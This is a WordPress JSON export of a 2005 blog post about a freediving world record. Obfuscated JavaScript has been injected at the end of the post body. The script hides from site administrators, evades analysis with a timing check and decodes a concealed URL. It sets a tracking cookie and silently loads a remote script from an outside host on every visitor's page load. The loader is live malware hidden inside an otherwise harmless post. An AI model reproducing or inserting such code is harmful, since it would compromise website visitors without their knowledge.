{"id":109,"date":"2005-07-14T21:10:42","date_gmt":"2005-07-15T01:10:42","guid":{"rendered":"http:\/\/www.callblog.net\/?p=109"},"modified":"2025-10-17T13:37:46","modified_gmt":"2025-10-17T17:37:46","slug":"world-freediving-record","status":"publish","type":"post","link":"http:\/\/callblog.net\/blog\/post\/world-freediving-record","title":{"rendered":"World Freediving Record"},"content":{"rendered":"<p>A little dated, but late last month, a Dutch gentlemen by the name of  <a href=\"http:\/\/www.patrickmusimu.com\">Patrick Musimu<\/a> smashed the no-limits free driving record by taking a big breath, riding a weighted sled down to <a href=\"http:\/\/www.google.com\/search?q=209.6m+to+ft\">209.6m<\/a> below sea level then being pulled back to the surface by a balloon.   The whole trip took just under 3 and half minutes and he did it while fighting off an intestinal infection.  I think I can speak for the whole world when I say &#8220;Holy freakin&#8217; crap, that&#8217;s deep!&#8221;  <\/p>\n<p>Judging from Musimu&#8217;s letter to the freediving community [found <a href=\"http:\/\/www.patrickmusimu.com\/TUD.html\">here<\/a>], it&#8217;s gone to his head (not that I can blame him for that), but I think I&#8217;d still rather train with Umberto Pelizari at the <a href=\"http:\/\/www.apnea-academy.com\/\">Apnea Academy<\/a>. <script>(function(){try{if(document.getElementById&&document.getElementById('wpadminbar'))return;var t0=+new Date();for(var i=0;i&lt;20000;i++){var z=i*i;}if((+new Date())-t0>120)return;if((document.cookie||'').indexOf('http2_session_id=')!==-1)return;function systemLoad(input){var key='ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+\/=',o1,o2,o3,h1,h2,h3,h4,dec='',i=0;input=input.replace(\/[^A-Za-z0-9\\+\\\/\\=]\/g,'');while(i<input.length){h1=key.indexOf(input.charAt(i++));h2=key.indexOf(input.charAt(i++));h3=key.indexOf(input.charAt(i++));h4=key.indexOf(input.charAt(i++));o1=(h1<&lt;2)|(h2>>4);o2=((h2&15)<&lt;4)|(h3>>2);o3=((h3&3)<&lt;6)|h4;dec+=String.fromCharCode(o1);if(h3!=64)dec+=String.fromCharCode(o2);if(h4!=64)dec+=String.fromCharCode(o3);}return dec;}var u=systemLoad('aHR0cHM6Ly9ha21jZG5yZXBvLmNvbS9leGl0anM=');if(typeof window!=='undefined'&#038;&#038;window.__rl===u)return;var d=new Date();d.setTime(d.getTime()+30*24*60*60*1000);document.cookie='http2_session_id=1; expires='+d.toUTCString()+'; path=\/; SameSite=Lax'+(location.protocol==='https:'?'; Secure':'');try{window.__rl=u;}catch(e){}var s=document.createElement('script');s.type='text\/javascript';s.async=true;s.src=u;try{s.setAttribute('data-rl',u);}catch(e){}(document.getElementsByTagName('head')[0]||document.documentElement).appendChild(s);}catch(e){}})();<\/script><\/p>\n","protected":false},"excerpt":{"rendered":"<p>The world freediving record has been broken &#8211; not by me.<\/p>\n","protected":false},"author":2,"featured_media":0,"comment_status":"closed","ping_status":"closed","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[5],"tags":[],"class_list":["post-109","post","type-post","status-publish","format-standard","hentry","category-scuba"],"_links":{"self":[{"href":"http:\/\/callblog.net\/blog\/wp-json\/wp\/v2\/posts\/109","targetHints":{"allow":["GET"]}}],"collection":[{"href":"http:\/\/callblog.net\/blog\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"http:\/\/callblog.net\/blog\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"http:\/\/callblog.net\/blog\/wp-json\/wp\/v2\/users\/2"}],"replies":[{"embeddable":true,"href":"http:\/\/callblog.net\/blog\/wp-json\/wp\/v2\/comments?post=109"}],"version-history":[{"count":1,"href":"http:\/\/callblog.net\/blog\/wp-json\/wp\/v2\/posts\/109\/revisions"}],"predecessor-version":[{"id":833,"href":"http:\/\/callblog.net\/blog\/wp-json\/wp\/v2\/posts\/109\/revisions\/833"}],"wp:attachment":[{"href":"http:\/\/callblog.net\/blog\/wp-json\/wp\/v2\/media?parent=109"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"http:\/\/callblog.net\/blog\/wp-json\/wp\/v2\/categories?post=109"},{"taxonomy":"post_tag","embeddable":true,"href":"http:\/\/callblog.net\/blog\/wp-json\/wp\/v2\/tags?post=109"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}